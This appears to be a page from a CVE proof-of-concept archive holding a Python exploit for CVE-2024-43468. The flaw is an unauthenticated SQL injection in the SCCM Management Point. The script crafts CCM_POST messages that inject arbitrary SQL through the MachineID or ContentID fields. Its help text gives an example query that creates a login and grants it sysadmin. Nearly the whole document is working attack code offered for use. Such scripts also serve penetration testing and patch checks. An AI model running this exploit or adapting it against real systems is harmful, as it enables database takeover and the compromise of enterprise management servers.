4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-43468.py PY
#!/usr/bin/env python3
import zlib, requests, argparse, uuid
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



class SCCM:

    unauth_request_endpoint = "/ccm_system/request"

    dummy_package_id = f"UID:{uuid.uuid4()}"

    tpl_multipart = b"--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n%b\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n%b\r\n--aAbBcCdDv1234567890VxXyYzZ--"

    tpl_updateSFRequest = f"""<UpdateSFRequest><Package ID="{{PACKAGE_ID}}" Version="1"></Package><ClientLocationInfo><BoundaryGroups><BoundaryGroup GroupID="1" GroupGUID="00000000-0000-0000-0000-000000000000" GroupFlag="0"/></BoundaryGroups></ClientLocationInfo></UpdateSFRequest>\x00"""

    tpl_msg = f"""<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{{LENGTH}}" Offset="0" /><CorrelationID>{{{{00000000-0000-0000-0000-000000000000}}}}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{{{{00000000-0000-0000-0000-000000000000}}}}</ID><Payload Type="inline"/><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:dummyEndpoint:LS_ReplyLocations</ReplyTo><TargetAddress>mp:[http]{{TARGET_ENDPOINT}}</TargetAddress><TargetEndpoint>{{TARGET_ENDPOINT}}</TargetEndpoint><TargetHost>{{TARGET}}</TargetHost><Timeout>60000</Timeout><SourceID>{{MACHINE_ID}}</SourceID></Msg>"""
    
    tpl_sqli_packageID = f"UID:{uuid.uuid4()}', @ContentVersion = 1; {{QUERY}} ; -- "
    tpl_sqli_machineID = f"GUID:{uuid.uuid4()}'; {{QUERY}} ; select '1 "

    def __init__(self, target, key, cert):
        self._target = target
        self._pkey = key
        self._cert = cert

    def __check_resp(self,r):
        if r.status_code == 403 and r.reason == 'Forbidden' and self._target.startswith('http://'):
            print('[!] The Management Point is configured in HTTPS only mode, please use HTTPS instead of HTTP')
        elif r.status_code == 403 and r.reason == 'Client certificate required': 
            print('[!] The Management Point requires mutual TLS authentication, please provide a client certificate trusted by the internal PKI')
        elif r.status_code == 200:
            if 'NoReply'.encode('utf-16-le') in r.content :
                print('[+] Exploitation success')
            else: 
                print('[!] Exploitation failed, the Management Point is probably patched')
        else: 
            print('[?] Unknown state')


    def __ccm_post(self, path, data):
        headers = {"User-Agent": "ConfigMgr Messaging HTTP Sender", "Content-Type": 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"'}
        
        #print(f">>>> HTTP Request <<<<<\n{data.decode('utf-16-le')}\n")
        r = requests.request("CCM_POST", f"{self._target}{path}", headers=headers, data=data, verify=False, cert=(self._cert, self._pkey))
        print(f">>>> Response : {r.status_code} {r.reason} <<<<<\n{r.text}\n")
        try:
            print(zlib.decompress(r.content.split(b'--aAbBcCdDv1234567890VxXyYzZ')[2].split(b'\r\n')[3]).decode('utf-16-le'))
        except:
            pass
        self.__check_resp(r)

    def __ccm_system_request(self, header, request):
        multipart_body = self.tpl_multipart % (header.encode("utf-16"), zlib.compress(request))

        print(f">>>> Header <<<<<\n{header}\n")
        print(f">>>> Request <<<<<\n{request.decode()}\n")

        self.__ccm_post(self.unauth_request_endpoint, multipart_body)


    def sqli_machineID(self, sql_query):
        SQLi_machineID = self.tpl_sqli_machineID.format(QUERY=sql_query)
        request_body = self.tpl_updateSFRequest.format(PACKAGE_ID=self.dummy_package_id)
        request = b"%s\r\n" % request_body.encode('utf-16')[2:]
        header = self.tpl_msg.format(LENGTH=len(request) - 2, TARGET=self._target, TARGET_ENDPOINT="MP_LocationManager", MACHINE_ID=SQLi_machineID)
        self.__ccm_system_request(header, request)

    def sqli_contentID(self, sql_query, machineid=None):
        SQLi_contentID = self.tpl_sqli_packageID.format(QUERY=sql_query)
        request_body = self.tpl_updateSFRequest.format(PACKAGE_ID=SQLi_contentID)
        request = b"%s\r\n" % request_body.encode('utf-16')[2:]
        header = self.tpl_msg.format(LENGTH=len(request) - 2, TARGET=self._target, TARGET_ENDPOINT="MP_LocationManager", MACHINE_ID=machineid)
        self.__ccm_system_request(header, request)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="SCCM LocationMgr (MP_Location) Unauthenticated SQL injections - CVE-2024-43468")  
    parser.add_argument("-t", "--target", action="store", required=True, default=None, help="Target (http[s]://sccm-mp.local/)") 
    parser.add_argument("-sql", action="store", required=True, default=None, help="Query to execute through the MachineID SQL injection (e.g create login user123 with password = 'p4sswOrd' ; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin' )")
    parser.add_argument("-machineid", action="store", required=False, default=None, help="A valid MachineID for the second SQL injection via ContentID")
    parser.add_argument("-k", "--key", action="store", required=False, default=None, help="Private key file for mutual TLS")
    parser.add_argument("-c", "--cert", action="store", required=False, default=None, help="Certificate file for mutual TLS")

    options = parser.parse_args()
    
    if options.machineid is None:
        SCCM(options.target, options.key, options.cert).sqli_machineID(options.sql)
    else:
        SCCM(options.target, options.key, options.cert).sqli_contentID(options.sql, options.machineid)